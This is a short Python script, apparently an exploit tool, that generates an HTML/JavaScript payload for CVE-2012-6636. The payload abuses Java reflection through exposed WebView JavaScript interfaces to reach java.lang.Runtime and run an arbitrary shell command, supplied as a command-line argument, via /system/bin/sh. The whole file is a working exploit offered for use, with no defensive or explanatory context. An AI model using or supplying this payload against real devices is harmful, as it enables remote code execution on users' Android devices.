CVE-2012-6636.py

#!/usr/bin/env python
# CVE-2012-6636 Payload Generator

import sys

payload = (
    "<script>\n"
    + "var command = ['/system/bin/sh','-c','COMMAND_HERE'];\n"
    + "for(i in top) {\n"
    + " try {\n"
    + "   top[i].getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(command);\n"
    + "   break;\n"
    + " }\n"
    + "catch(e) {}\n"
    + "}\n"
    + "</script>"
)


print(payload.replace("COMMAND_HERE", sys.argv[1]))